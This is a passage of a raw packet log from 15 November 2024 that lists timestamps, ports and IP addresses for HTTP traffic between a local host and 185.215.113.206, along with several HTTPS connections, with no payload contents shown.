Nov 15, 2024 16:16:31.614365101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614376068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614387035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614417076 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614422083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614434004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614443064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614453077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614461899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614465952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614479065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614490032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614492893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614492893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614533901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614543915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614553928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614564896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614576101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614587069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614588976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614588976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614588976 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614628077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614631891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614645958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614661932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614681959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614707947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614717960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614727974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614738941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614773989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614774942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614774942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614774942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614774942 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614826918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614840031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614873886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614885092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614923954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614923954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614923954 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.614972115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614983082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.614993095 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615003109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615014076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615123987 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.615123987 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.615144968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615155935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615165949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615176916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615189075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615197897 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.615201950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615214109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615225077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615236044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615246058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.615274906 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.615274906 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.615441084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.628988028 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.636740923 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.638683081 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.640021086 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:31.640038013 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.641220093 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.641551018 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:31.641757965 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.641838074 CET	49860	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:31.645412922 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.675398111 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:31.675429106 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:31.675689936 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:31.675957918 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:31.675972939 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:31.676584005 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.676609993 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.676814079 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.676820040 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.682502985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.682518959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.682529926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.682584047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.682595968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.682602882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.682607889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.682949066 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.685872078 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.685902119 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.685935020 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.685960054 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.685970068 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.686028004 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.686110973 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.687325954 CET	443	49860	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:31.688177109 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.688205004 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.688251019 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.688308954 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.688317060 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.688366890 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.693766117 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.703628063 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.703671932 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.704619884 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.704634905 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.705605984 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.705626011 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.706163883 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.706171989 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.707189083 CET	49865	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.707212925 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.707590103 CET	49865	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.707597017 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.718617916 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.718655109 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.718702078 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.718780041 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.718812943 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.718878031 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.719149113 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.719505072 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:31.719532013 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:31.719616890 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:31.720558882 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.720582008 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.720623970 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.720637083 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.720645905 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.720715046 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.721106052 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:31.721122980 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:31.726414919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726440907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726461887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726473093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726483107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726492882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726530075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726531029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726541996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726555109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726568937 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726579905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726592064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726602077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726604939 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726613998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726624966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726634979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726644993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726650000 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.726669073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726680994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726712942 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.726733923 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.726758003 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.726797104 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.726795912 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.726802111 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726802111 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726802111 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726802111 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726819038 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.726819992 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.726851940 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.726852894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726866961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726871014 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.726891041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726902008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726912022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726917982 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.726937056 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726948977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.726963997 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.726995945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727008104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727106094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727106094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727138042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727149010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727159977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727190971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727200031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727204084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727210999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727221966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727237940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727245092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727252007 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727264881 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727274895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727287054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727291107 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727291107 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727298021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727345943 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727345943 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727615118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727624893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727669001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727679968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727690935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727701902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727705956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727725029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727766037 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.727840900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727857113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727967978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727979898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727989912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.727999926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728095055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728121042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728131056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728138924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728149891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728159904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728169918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728190899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728190899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728190899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728190899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728190899 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728193998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728209019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728216887 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728220940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728234053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728245974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728256941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728283882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728308916 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728518963 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728600979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728612900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728637934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728650093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728657007 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728712082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728723049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728732109 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728734016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728806973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728817940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728847980 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728859901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728872061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728897095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728897095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728897095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728975058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.728981972 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.728990078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729001045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729012966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729029894 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729074955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729087114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729104042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729115963 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729127884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729151964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729151964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729151964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729180098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729191065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729201078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729233027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729247093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729247093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729247093 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729299068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729316950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729342937 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729403019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729413986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729424953 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729435921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729496002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729506969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729516983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729532003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729532003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729532003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729547977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729559898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729572058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729583025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729592085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729607105 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729607105 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729617119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729641914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729654074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729654074 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729667902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729677916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729688883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729698896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729708910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729731083 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729731083 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729732990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729743958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729764938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729773045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729784966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729813099 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729845047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729856968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729866982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729871035 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729943037 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729943037 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.729944944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729959011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729978085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.729988098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730010033 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730114937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730128050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730139017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730150938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730161905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730169058 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730175018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730187893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730233908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730236053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730236053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730236053 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730246067 CET	80	49759	185.215.113.206	192.168.2.5
